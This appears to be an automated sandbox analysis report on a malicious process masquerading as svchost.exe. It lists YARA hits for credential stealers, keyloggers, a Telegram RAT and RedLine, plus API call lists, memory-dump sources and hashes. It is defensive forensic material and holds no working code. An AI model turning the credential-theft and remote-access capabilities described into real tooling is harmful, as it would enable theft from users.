Commandline:	"C:\Windows\SysWOW64\svchost.exe"
Imagebase:	0xe80000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFAAC2837B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1900781779.00007FFAAC280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac280000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 12c27e1abd182cc0f87f1bf3cba249f21b8f49692eb04076ab614f163d522ba9
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 5401A77010CB0C8FDB44EF0CE051AB6B3E0FB85320F10056DE58AC3661D632E882CB41

Analysis Process: svchost.exePID: 7440, Parent PID: 3232COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	23.5%
Signature Coverage:	39.9%
Total number of Nodes:	213
Total number of Limit Nodes:	28

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

!, xrefs: 004020CF
v, xrefs: 0040206A
o, xrefs: 00401B8D
x, xrefs: 0040214A
x, xrefs: 00401E69
4, xrefs: 00402074
V, xrefs: 00401E19
4, xrefs: 00401B64
v, xrefs: 0040212C
x, xrefs: 00402088
v, xrefs: 00401E4B
5, xrefs: 00402109
[, xrefs: 00401B37
6, xrefs: 004020C5
[, xrefs: 00402047
', xrefs: 00401AF6
:, xrefs: 00401B28
o, xrefs: 00402159
W, xrefs: 00401B23
v, xrefs: 00401B5A
o, xrefs: 00402097
U, xrefs: 004020F5
%, xrefs: 004020FA
V, xrefs: 00402038
., xrefs: 00401B0A
*, xrefs: 00401A1F
8, xrefs: 00401BA9
{, xrefs: 0040211D
!, xrefs: 0040201A
x, xrefs: 00401B78
{, xrefs: 00401E3C
___, xrefs: 0040227D
!, xrefs: 00401B1E
_._, xrefs: 00402257
0, xrefs: 00401BBD
4, xrefs: 00402136
W, xrefs: 00402033
{, xrefs: 0040205B
', xrefs: 00402006
., xrefs: 0040201F
W, xrefs: 00401B14
h, xrefs: 00401A6F
", xrefs: 00401B0F
W, xrefs: 004020E6
{, xrefs: 00401B4B
), xrefs: 0040202E
*, xrefs: 004020E1
D, xrefs: 00401DFB
E, xrefs: 00401E0F

Memory Dump Source

Source File: 0000000D.00000002.2563178125.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2563178125.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2563178125.0000000000435000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: 15d251200a6dcf51a4a208c3441b8b6cc284129812011527163cf1e35f997c4e
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: 15d251200a6dcf51a4a208c3441b8b6cc284129812011527163cf1e35f997c4e
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 07912EF8 Relevance: 8.9, Strings: 6, Instructions: 1398COMMON

Download Yara Rule

Strings

Xq, xrefs: 079141D5
Xq, xrefs: 079130BC
Xq, xrefs: 07912FF0
Xq, xrefs: 079141FE
Xq, xrefs: 07912FB6
Xq, xrefs: 0791306F

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq$Xq$Xq
API String ID: 0-905847027
Opcode ID: dae1f68faa0fed235c1efe568ce6159e2e499c0b922707e47737d11d7c77316e
Instruction ID: 1621a70a58ff61f1515aa1156cfdc62f3f51512518f1d8c4336071bf38c2ac53
Opcode Fuzzy Hash: dae1f68faa0fed235c1efe568ce6159e2e499c0b922707e47737d11d7c77316e
Instruction Fuzzy Hash: B19284B375C3BB4EEF1A8A14BC465CCB7A5DB8826C760017FD441CB196E363A592C6C8

Function 07917630 Relevance: 5.3, Strings: 4, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 079177B0
,q, xrefs: 079177A2
(oq, xrefs: 07917738
(oq, xrefs: 0791772A

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q
API String ID: 0-620556200
Opcode ID: 8af5f06f186d8b534e091a6a3554580f12fa5f72343356687d2ef4aadcb3ca7f
Instruction ID: a067d5d26fb8591527c6199b776dbcfe81543d999dc5615a553b55b7b4a9fc0e
Opcode Fuzzy Hash: 8af5f06f186d8b534e091a6a3554580f12fa5f72343356687d2ef4aadcb3ca7f
Instruction Fuzzy Hash: 12D13AB0A0021ADFDB14CFA9D984AADBBB6FF89348F158065E415AB360D730ED61CB51

Function 090F5048 Relevance: 4.3, Strings: 1, Instructions: 3071COMMON

Download Yara Rule

Strings

N, xrefs: 090F842B

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 09b59a0dc29107d619c6228cb2e928feebb84802d127bafc9db9f808f4524468
Instruction ID: 483e2a7de1332e0335fd4a5bd90ad8ac46a2860d9e0b86459121f0f34698376c
Opcode Fuzzy Hash: 09b59a0dc29107d619c6228cb2e928feebb84802d127bafc9db9f808f4524468
Instruction Fuzzy Hash: 1B73E531C10B5A8EDB11EF68C854A99F7B1FF99304F15C69AE44867261EB70AAC4CF81

Function 090F9CA0 Relevance: 3.5, Strings: 1, Instructions: 2232COMMON

Download Yara Rule

Strings

K, xrefs: 090FC31E

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 8ebfd1b3108d07dcddaa1aa14b2fcbfd1865dded7ca75cf3aee34d2ca4db17c4
Instruction ID: 3f45d662bfa47ad00e44f3a31a0df08be023130b2bdde18381f7f597476e4cb3
Opcode Fuzzy Hash: 8ebfd1b3108d07dcddaa1aa14b2fcbfd1865dded7ca75cf3aee34d2ca4db17c4
Instruction Fuzzy Hash: 5633D131D146198EDB11EF68C894A9DF7B1FF99300F14D69AE44C6B261EB70AAC4CF81

Function 0791A598 Relevance: 3.4, Strings: 2, Instructions: 896COMMON

Download Yara Rule

Strings

(oq, xrefs: 0791AA28
4'q, xrefs: 0791B023

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: 830b465f31172375429952a413384a1b6086c55045cc2dc9b06353dabd6966da
Instruction ID: 0fbea956207746d7b14082c1dde025f317a38759cb487fd9ea0583f6fbd1701d
Opcode Fuzzy Hash: 830b465f31172375429952a413384a1b6086c55045cc2dc9b06353dabd6966da
Instruction Fuzzy Hash: EB827EB0A0120ADFCB15CF68D984AAEBBB6FF88314F15C556E4059B365D730ED51CB90

Function 07916EA8 Relevance: 3.0, Strings: 2, Instructions: 533
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 079172BA
(oq, xrefs: 079173EE

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: 071edd4c37e16b984889c3e9eda1664799db0c8980931d376b6a7ce1bb658371
Instruction ID: 97de1030173b5042047c1519d8c8aa209596a95a0632d93385ad6455a5cdcb9c
Opcode Fuzzy Hash: 071edd4c37e16b984889c3e9eda1664799db0c8980931d376b6a7ce1bb658371
Instruction Fuzzy Hash: 13127FB0B0021A9FDB14DFA9D854BAEBBB6FF88304F148569E405DB391DB349D52CB90

Function 0791C4E0 Relevance: 2.9, Strings: 2, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0791C902
PHq, xrefs: 0791C913

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 4ec80c75a222c2a3a877174c4755382e319386dcff3d0849167deadc57c2522a
Instruction ID: 550d08bd629e79f6a64f0f7bc000e8d7f1992c4332b71d9640f61ce1864f7f0e
Opcode Fuzzy Hash: 4ec80c75a222c2a3a877174c4755382e319386dcff3d0849167deadc57c2522a
Instruction Fuzzy Hash: F5E12AB0E40619DFDB14CFA9C884A9DBBB5BF49314F158069E819AB361DB30EC51CF61

Function 0791D20B Relevance: 2.7, Strings: 2, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0791D473
PHq, xrefs: 0791D462

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 193c90238518394e8e1aa3534e6e2317d554ed22a2b8088f997e4e2e14758f6f
Instruction ID: 19f5f356f145b9ccdc92b07bfbeb98914d329c68c1f953e75edb238ac6f73bea
Opcode Fuzzy Hash: 193c90238518394e8e1aa3534e6e2317d554ed22a2b8088f997e4e2e14758f6f
Instruction Fuzzy Hash: AD91C5B4E0021CDFDB14DFA9D984A9DBBF2BF89314F148069E419AB365DB309942CF51

Function 0791D7B8 Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0791DA12
PHq, xrefs: 0791DA23

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: d9441db1acde1d4063e0f7a5f66bab8e20efb2195fd47102bb407ca24776ccca
Instruction ID: 56e266c899ad3c85d896d468f0dfd0b6f3a15bc7c328f87761a7226958f55318
Opcode Fuzzy Hash: d9441db1acde1d4063e0f7a5f66bab8e20efb2195fd47102bb407ca24776ccca
Instruction Fuzzy Hash: 7C91C4B4E01218CFDB14DFAAD984A9DBBF2BF89304F248069E409AB364DB309951CF50

Function 0791586F Relevance: 2.7, Strings: 2, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 07915AEC
PHq, xrefs: 07915ADB

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: fd0e8124b984d61d878f69050eed49e9ead9eb11dc231d99fa16edffd5ccafc3
Instruction ID: 4a4c41bda7cdd6d10e7aa29b5ce1c1eb2085eab1a5ef28a1c9058b2339cda354
Opcode Fuzzy Hash: fd0e8124b984d61d878f69050eed49e9ead9eb11dc231d99fa16edffd5ccafc3
Instruction Fuzzy Hash: BD91D6B4E00218CFDB14DFA9D984A9DBBF2BF89314F15C06AE809AB365DB305951CF51

Function 0791CC58 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

PHq, xrefs: 0791CEB2
PHq, xrefs: 0791CEC3

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 78f093872ca4ccefde8ddff3495fdb5948f2046394aa35c05b326042342bf5ff
Instruction ID: ccd123fd74fd217d3e24203295907804ae87f65d8c262d026dc2282e74b922bd
Opcode Fuzzy Hash: 78f093872ca4ccefde8ddff3495fdb5948f2046394aa35c05b326042342bf5ff
Instruction Fuzzy Hash: 2381B2B4E00218CFDB14DFAAD984A9DBBF2BF89304F14C069E819AB365DB709941CF50

Function 0791C980 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

PHq, xrefs: 0791CBDA
PHq, xrefs: 0791CBEB

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 87b46f4ad5d9d015c79fc05420ef80c2bed3cae75063d0259a86bbaeb3f3c8e9
Instruction ID: f4676d59da04d463dc39aa9a91bb63beaf972a7033b9694add116e1e33b05986
Opcode Fuzzy Hash: 87b46f4ad5d9d015c79fc05420ef80c2bed3cae75063d0259a86bbaeb3f3c8e9
Instruction Fuzzy Hash: 6081C6B4E40218CFDB14CFAAD884A9DBBF2BF89314F14C069D809AB365DB705941CF51

Function 0791CF30 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

PHq, xrefs: 0791D19B
PHq, xrefs: 0791D18A

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 909f03a29930d8b4e1067b16ecdbe29f4b883a2ffdd934f0c435bff54bcee0dc
Instruction ID: 20b705969c0abc0072797dc220cba42a3342f6123950076df7b1fe14156dee95
Opcode Fuzzy Hash: 909f03a29930d8b4e1067b16ecdbe29f4b883a2ffdd934f0c435bff54bcee0dc
Instruction Fuzzy Hash: E681C5B4E00218DFDB14DFAAD884A9DBBF2BF89314F15C069E819AB365DB709941CF50

Function 0791D4EB Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

PHq, xrefs: 0791D73A
PHq, xrefs: 0791D74B

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 82d3efcef9b67e584c5c7108771b08a3ce2fe105ce0179c81a014e930cea21fd
Instruction ID: dd41b801eb3fe6393e9c5e2c2bc65da0c8468ba01b42e61ebe0b7ae421eaee35
Opcode Fuzzy Hash: 82d3efcef9b67e584c5c7108771b08a3ce2fe105ce0179c81a014e930cea21fd
Instruction Fuzzy Hash: 9A81C5B4E00618CFDB14DFAAD984A9DBBF2BF89304F14C069E409AB365DB309941CF10

Function 0791C6A8 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

PHq, xrefs: 0791C902
PHq, xrefs: 0791C913

Memory Dump Source

Source File: 0000000D.00000002.2569129993.0000000007910000.00000040.00000800.00020000.00000000.sdmp, Offset: 07910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7910000_svchost.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 8f9bdd4422061c158dbd3bc13bbbc59b4da964abc7432d5d7003fa9d069a9a94
Instruction ID: b805f761136f4683a053f67e31766e7e08b205486094eb3407b192a3eb04740c
Opcode Fuzzy Hash: 8f9bdd4422061c158dbd3bc13bbbc59b4da964abc7432d5d7003fa9d069a9a94
Instruction Fuzzy Hash: EC61C2B4E00208CFEB14DFAAD984A9DBBF2BF89304F14D069E818AB365DB745941CF50

Function 090F9578 Relevance: 1.9, APIs: 1, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eada38dff809ca4382b7ba7dc34d2f598cb25508dd770a7881535beb5bada541
Instruction ID: 2b2a34bd5f1d4335bfdd4935b886564d17ef811fead3708ab3d68766f121f2bf
Opcode Fuzzy Hash: eada38dff809ca4382b7ba7dc34d2f598cb25508dd770a7881535beb5bada541
Instruction Fuzzy Hash: 87F1F374E00218CFDB14DFA9C884B9DBBB2BF88304F5485A9D918AB395DB359E85CF50

Function 090F9C9F Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

K, xrefs: 090FC31E

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 9d2a7bc3f550ccf92e14335a352a61642e05d97323aa0e8db7c45efff72f7919
Instruction ID: 23ce815f9eea80205885d91bbb142e254f98038a096380fcfd4b984fc329ae5f
Opcode Fuzzy Hash: 9d2a7bc3f550ccf92e14335a352a61642e05d97323aa0e8db7c45efff72f7919
Instruction Fuzzy Hash: E1B10571D146198BDB14DFA9C8947DDFBB1EF89300F14C6AAE4087B260EB74AA84CF41

Function 090F0B30 Relevance: .7, Instructions: 711COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7d93afa64256f4179df5a2b40edf42d1a1253bbf9b02fb6b49cff6355202eb
Instruction ID: 7db08ee397e637bfe225e328681b8c9c13824d2d44063d4a406a53a6bb5ea957
Opcode Fuzzy Hash: 5d7d93afa64256f4179df5a2b40edf42d1a1253bbf9b02fb6b49cff6355202eb
Instruction Fuzzy Hash: CF72AB74E05228CFDB64DF69C990BEDBBB2BB89300F1485EAD509A7651DB349E81CF40

Function 090F2580 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10fa537b4b6ea309f78c8b582a8d71cc4d4f8d490195b757b00f7d57d817b3eb
Instruction ID: 9dba6857e4162f2c7b83d0ec0bc94d7ae2f057add5dbace07f9acd36faa0e5cc
Opcode Fuzzy Hash: 10fa537b4b6ea309f78c8b582a8d71cc4d4f8d490195b757b00f7d57d817b3eb
Instruction Fuzzy Hash: 99C19F74E01218CFDB14DFA9D994BADBBF2BF89300F1081A9D509AB395DB359A81CF50

Function 090FF840 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd17936cb89f1b0e34044bbdb184f5689be7ce407b229b4e47e9a1852d469071
Instruction ID: 2856b975778fe8f3414137d41442c7a47d058f37567c70fc0478cfa3c480eae1
Opcode Fuzzy Hash: cd17936cb89f1b0e34044bbdb184f5689be7ce407b229b4e47e9a1852d469071
Instruction Fuzzy Hash: 70C19074E00218CFEB54DFA9C994B9DBBF2AF89300F1084A9D909AB355DB359E85CF50

Function 090FCCD0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c746c97442b26b3db3bd76afbb8ab433697e4ebd10ec1a82361d342b4b428406
Instruction ID: 8bc03218335565ccf1e178f1bcb77b01e57138c593a8db7c9ae623d99e7541cf
Opcode Fuzzy Hash: c746c97442b26b3db3bd76afbb8ab433697e4ebd10ec1a82361d342b4b428406
Instruction Fuzzy Hash: 28C1A174E00218CFEB54DFA9C994B9DBBF2AF89300F1081A9D509AB395DB359E85CF50

Function 090F2DDE Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2570604877.00000000090F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_90f0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97ccf0e04808078ad6a2a4aaefbfca09529a53597a2156f5d286c9c39588985b
Instruction ID: 75eef7dd6f6389a5befa84995070d0a923ec960d33e15b9d5296d3a3e23af5d4
Opcode Fuzzy Hash: 97ccf0e04808078ad6a2a4aaefbfca09529a53597a2156f5d286c9c39588985b
Instruction Fuzzy Hash: 36A10470D00208CFEB14DFA9C458BADBBB1FF89304F248669E509AB395DB749A85CF54

Function 090F2DE8 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

